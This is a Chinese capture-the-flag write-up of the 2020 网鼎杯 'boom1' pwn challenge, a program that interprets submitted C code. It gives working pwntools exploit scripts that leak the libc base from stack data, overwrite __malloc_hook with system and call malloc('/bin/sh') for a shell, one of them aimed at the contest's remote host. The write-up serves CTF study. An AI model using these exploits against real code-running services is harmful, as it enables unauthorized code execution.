网鼎杯 2020 Pwn boom1

多亏mcfx指导,才能做出这题,感谢。64位程序,保护全开,可以执行我们发送的c代码,但可以执行的代码有些限制,不能执行system之类的函数,但可以任意写内存。最终通过利用栈上的数据,获得了libc的基址,完成了对__malloc_hook的劫持,进而getshell。

  • 题目地址:nc 182.92.73.10 24573
  • 题目附件:boom1

分析

程序保护全开,可以执行我们发送的c代码,但是函数只能调用固定的几个函数,而且只能调用一次。不过因为可以执行代码,而且支持指针,所以通过赋值语句就可以完成内存的修改,也就是说这题本身就有任意读写内存的能力,只需要泄露出关键的地址即可控制流劫持。通过调试发现在执行我们的函数时的栈上是保存着很多信息的,程序地址,堆,栈,libc相关信息都能在栈上找得到。所以只要能使用栈上的变量即可,想到两种方法获得栈地址:

  1. 通过main函数的argv
  2. 通过直接对我们可以控制的局部变量取地址

拿到栈地址后,对栈地址进行偏移调整,然后解引用,观察其值,找到libc相关的地址,与本地libc基址进行对比,进而得到偏移。然后通过赋值语句修改能控制流劫持的重要内存即可,这里修改malloc_hook为system,然后执行调用malloc传/bin/sh即可getshell。

调试

from pwn import *
myelf = ELF("./pwn")
io = process(myelf.path)
gdb_libc_base = int(os.popen("pmap "+str(io.pid)+"| grep libc | awk '{"+"{print $1}"+"}'").readlines()[0], 16)
payload= '''
int main(int argc,char ** argv){
    int a;
    printf("%llx,%llx\n",&a,argv);
}
'''
gdb.attach(io)
io.send(payload)
log.warn(hex(gdb_libc_base))
io.interactive()

不过根据调试的结果:

[*] Switching to interactive mode
I'm living...
7f56c2bb8fd8,7ffe2eacba40

就会发现:

  1. argv获得的是真正的栈地址
  2. &a获得是在堆上的逻辑栈

不过通过printf打印这两个栈上内容发现都有libc相关数据。

利用

写内存时注意类型转换才可以成功 * (int *)malloc_hook = system;(int *)必不可少

  1. 远程通过argv利用
  2. 本地通过&a利用

远程

远程的libc和本地的2.23相同,因为调试的时候去掉本地算出的偏移后后三位也是0,所以基本确定。

from pwn import *
io = remote("182.92.73.10",24573)
payload= '''
int main(int argc,char ** argv){
    int libc,system,malloc_hook;
    libc = argv[24]-0x3ca000;
    system = libc + 0x45390;
    malloc_hook = libc + 0x3c4b10;
    * (int *)malloc_hook = system;
    malloc("/bin/sh");
}
'''
io.send(payload)
io.interactive()

本地

from pwn import *
myelf = ELF("./pwn")
io = process(myelf.path)
payload= '''
int main(){
    int libc,system,malloc_hook;
    libc = *(&system-2)-0x509fd8;
    system = libc + 0x45390;
    malloc_hook = libc + 0x3c4b10;
    * (int *)malloc_hook = system;
    malloc("cat /flag");
}
'''
io.send(payload)
io.interactive()

C4编译器

在同学的提醒下知道,查找题目里的一些字符串,比如LEA ,IMM ,JMP ,JSR ,BZ ,BNZ ,ENT ,ADJ ,LEV ,LI,直接在github搜索就知道,这些代码是C4编译器的

总结

可以看到本题基本没有怎么分析二进制,却一样能做出来,所以做题不一定非要清楚漏洞在哪(这个二进制我也看不太懂,再次感谢mcfx指导)。另外个人觉得这题也无法归类到二进制漏洞中,就是一种情景,在这个情景下你能运行代码,进行内存写,不过运行的做了一些限制,不过你还是能绕过这些限制劫持控制流。即这题本身就有读写任意内存的能力,不过你得想办法泄露一些地址信息,本题的泄露方法就是对栈的理解和应用。我认为这道题可以类似理解为攻击oj,不过大部分oj应该都是调编译器,而这个题目自己就是个编译器。不过总之,就是一个能运行你代码的程序,你咋攻击他,挺神奇的一个题。